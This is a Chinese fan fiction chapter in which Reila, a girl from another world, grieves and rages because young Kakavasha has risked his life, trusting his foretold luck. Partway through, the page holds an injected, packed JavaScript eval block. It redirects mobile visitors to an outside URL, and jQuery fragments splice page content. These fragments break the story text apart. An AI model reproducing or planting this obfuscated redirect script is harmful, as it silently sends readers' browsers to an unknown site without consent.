瑞依拉真的不明白,卡卡瓦夏怎么会胆子那么大?
她知道这件事的结果是什么,她拥有这件事真正的上帝视角,即使这样,她都不敢让卡卡瓦夏去冒险。
而卡卡瓦夏呢?卡卡瓦夏连一个可能性都不知道,连自己的安全都无法保证,为什么就敢这么愣着头冲去跟那群残暴的、贪得无厌的野蛮人赌?
他为什么,就这么敢拿自己的生命,当做筹码一样挥霍?
也许这是好事,毕竟这正是证明了卡卡瓦夏是个厉害的人,他会有无限的未来,因为他有这样的能力和胆子。
可她怎么办啊。
她的想法怎么办啊?
她就是知道卡卡瓦夏会去做这种事,所以才在这几天都寸步不离地守在他身边的啊,他怎么就不明白呢?
为什么啊?难道就只有尤妮娅的话才有用吗?搞什么啊?那早知道,她就干脆不操心好了,她就一点也不要管卡卡瓦夏就好了吧!
反正对卡卡瓦夏来说都是一样的吧?她根本就不重要吧?
瑞依拉不可自控地升起了不尽的愤怒和恐慌。
难道卡卡瓦夏从现在开始,甚至从更早以前开始,就已经注定了会变成砂金吗?
他一定要变成那样不珍爱自己,将自己的生命都押上赌桌的赌徒吗?
她所做的一切,和她自己,都只能是徒劳吗?
……她不要理解,她不要明白。
她永远都,绝对不会理解这种事情的。
无论说她是小孩子脾气也好,还是说她无理取闹也好,她现在都只有一个念头。
她是绝对、绝对,不会原谅卡卡瓦夏的。
她心疼过的,她阻止过的,她曾经说过的,她不想要卡卡瓦夏变成会牺牲自己的样子,她不想要卡卡瓦夏以身犯险……
她给过那么多次劝告,也给过那么多次机会。
是卡卡瓦夏全都没有当回事。
是卡卡瓦夏,是他在明明有选择的情况下,还是选择了她最不想接受的那个选项。
卡卡瓦夏终于意识到了不对劲。
瑞依拉现在的样子和平时差别太大了。他宁愿瑞依拉现在冲上来骂他几句,像是过去那样数落他,埋怨他为什么不听话,也不想要现在这种样子。
“对不起,我不应该去的。”他干脆地道了歉,迅速开始解释。“但是瑞依拉你不是说过吗?我会活到最后的,所以我想着,既然这样的话,我稍微过分一点应该也没有关系,就……”
卡卡瓦夏说着上前一步,抬起手想要放在瑞依拉的头顶上,想要用这种方式来安抚看起来已经压抑到极致的瑞依拉。
可瑞依拉的反应和他想的不同。
瑞依拉毫不犹豫地退后一步,躲开了他的触碰,只是冷冷地盯着他。
太过分了。
太过分了太过分了太过分了太过分了……!!!
是啊,说到底,变成现在这样子不也是因为她吗?是因为她和卡卡瓦夏说了那个未来,是她告诉卡卡瓦夏,那份幸运,那个绝对不会落败和死去的砂金。
没错,是她告诉了卡卡瓦夏这些。
可是难道不会死就意味着不会恐惧,不会痛,不会受伤了吗?难道卡卡瓦夏就感受不到这些吗?
这些锋利的,会刺痛着他们的东西,难道卡卡瓦夏也全都感受不到了吗?
这也太奇怪了吧。
瑞依拉是原本想要狠狠地大发雷霆一通,让卡卡瓦夏意识并正视到她的愤怒的。可到现在,卡卡瓦夏真的出现在了她的面前,喊出她的名字了,她却又什么都说不出来了。
明明做了这种事,为什么还能用这幅理所应当的,就好像什么也没发生的样子面对她呢。
为什么就这么学不会珍惜自己呢。
她什么都不明白,她心中有无数个为什么,她听得到在自己胸腔之中回荡的,无数的委屈和泪意。
可是算了。
不是每一个疑惑都能解答的,不是每个人都要为了她的想法而买单的,她非常清楚这件事。
所以,算了。
到最后,她也只是咬了咬嘴唇,努力地把眼泪憋了回去,并且往地上狠狠地踹了一脚就离开了。
“我讨厌卡卡瓦夏,你再也不要来见我了!”
被留在原地的,只有呆愣在原地,手中攥着项链,茫然又失落地站定的卡卡瓦夏。
“……”卡卡瓦夏呆呆地看着那个背影,甚至不知道自己应不应该追上去。
他不是故意的,他只是以为这件事不会发展成现在这样的。毕竟他不是有着母神所赐福的幸运吗?
而且瑞伊拉也知道,他不会死的。所以,他应该是会赢的,他会赢的,所以即使害怕也没关系的,他不会出事的。他是这么想的。
可瑞依拉看起来真的好生气,他做错了吗?
低头看着自己的手心,卡卡瓦夏终于对自己的选择有了那么一点迟来的犹豫。
他的脚步僵硬地杵在原地,一直到有熟悉的人路过,向他打了个招呼,问道:“你站在入口这边干嘛呢?可别呆太久了啊,氏族边缘很危险的,可别让你姐姐担心了。”
他这才缓缓张开了口,强撑起精神笑了笑,回答道:“没什么,我这就回家,谢谢……”
怀着这样沉重的心情,他迈开腿往家的方向走去。
他不知道要怎么向瑞依拉解释才好,现在能做的事情,好像也就只有先去把项链还给姐姐了。
如果是姐姐的话,说不定能帮他搞清楚这件事情吧。
怀着这样微弱却莫名坚定的希望,卡卡瓦夏踏上了回家的路程。
与他的沉重不同,另一边的瑞依拉已经找了个人少的地方,偷偷地掉起眼泪了。
她不爱哭的!
虽然自从来了茨冈尼亚,她就经常在掉眼泪,但她不爱哭的!都怪小孩子的身体控制不住眼泪,都怪这个见鬼的穿越!
……都怪卡卡瓦夏每次都太气人了。
她当然不会因为这件事就真的再也不理会卡卡瓦夏了,毕竟爱是不会因为一件事就彻底消失的,只是,她也确实暂时不想再面对卡卡瓦夏了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647256|205632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这件事对她来说实在是太残忍了。
她明白,对卡卡瓦夏这个小孩子来说,幸运只不过是一件工具而已。
只要他能够通过这样工具达成目的,只要能够做到那件事,无论是什么都可以去使用。
在卡卡瓦夏的眼里,这是一件完全没有问题,甚至可以说是精妙的决定。
因为对这样的孩子来说,对未来的权衡利弊,完全只是一项虚无缥缈的,甚至可以说是没用的事情。
可在她眼里,卡卡瓦夏的幸运是选项,是一件决定自己要不要一次又一次跳进火坑里的陷阱。
如果卡卡瓦夏没办法改掉这个想法的话,那他以后只会越来越变本加厉,只会越来越依赖这所谓根本不稳定的幸运。
绝对、绝对不能变成那种样子。
即使幸运真的是保护了他无数次的武器,他也绝对不能真的把全部都压在幸运上。没人能知道幸运之神是否阴晴不定,没人能知道母神的赐福能灵验道什么时候,如果有一天就是失误了呢?
那是她绝对不会想看到的情况。
卡卡瓦夏应该是正常的,应该是被周围的人爱着的,应该是珍爱着自己的。
他的幸运,应该被用在闲暇时游戏里抽卡的一发入魂,应该被用在每一次恰到好处的便利之中,应该被用在和朋友的石头剪刀布的胜利之中。
而不是这样危险的时候。
她知道。
她知道,在命运的安排之中,卡卡瓦夏的幸运从来都不是为了这些幸福的小事而存在的。
她也知道,卡卡瓦夏也许依旧会变成砂金,会变成那个在梦境之中,将自己的生命都作为筹码全盘作赌的砂金,把自己的幸运用在更加残酷的地方。
那是迟早有一天会发生的事,而她无力阻止。
但至少在此刻,至少砂金还是她的卡卡瓦夏的时候,她真的希望卡卡瓦夏能把自己的生命看得更重一点。
至少,在你不得不面对那样的命运之前,可不可以,先不要变成未来的那个样子?能不能,把自己的生命看得更重要一点,再重要一点?
这些话,这些想法,为什么卡卡瓦夏就是不明白呢?
抽了抽鼻子,瑞依拉用力地擦了擦发烫的眼睛,抹掉了脸上的泪珠,但依旧还是没打算回去。
她相信尤妮娅和她想说的话是一样的,所以,尤妮娅会把正确的方式教给卡卡瓦夏的。
她什么都不需要做,只要在这里等着就好。至于等到什么时候,这种事就连她自己都不知道吧。
反正在她气消之前,卡卡瓦夏都不要再想要见到她了。
——诶,这时候就有不过说是卡卡瓦夏不能见,也没说其他人不能见对吧?
诺瓦毫不客气地一屁股坐在了瑞依拉旁边,打了个响指:“哎呦喂,这是哪个可爱的小妹妹在这里偷偷哭呢?让你诺瓦哥哥我采访一下?”
瑞依拉:“……”
不知道为什么感觉悲伤不起来了,有没有人能帮忙把这家伙拉走?
谢谢,她还是觉得一个人静静比较好。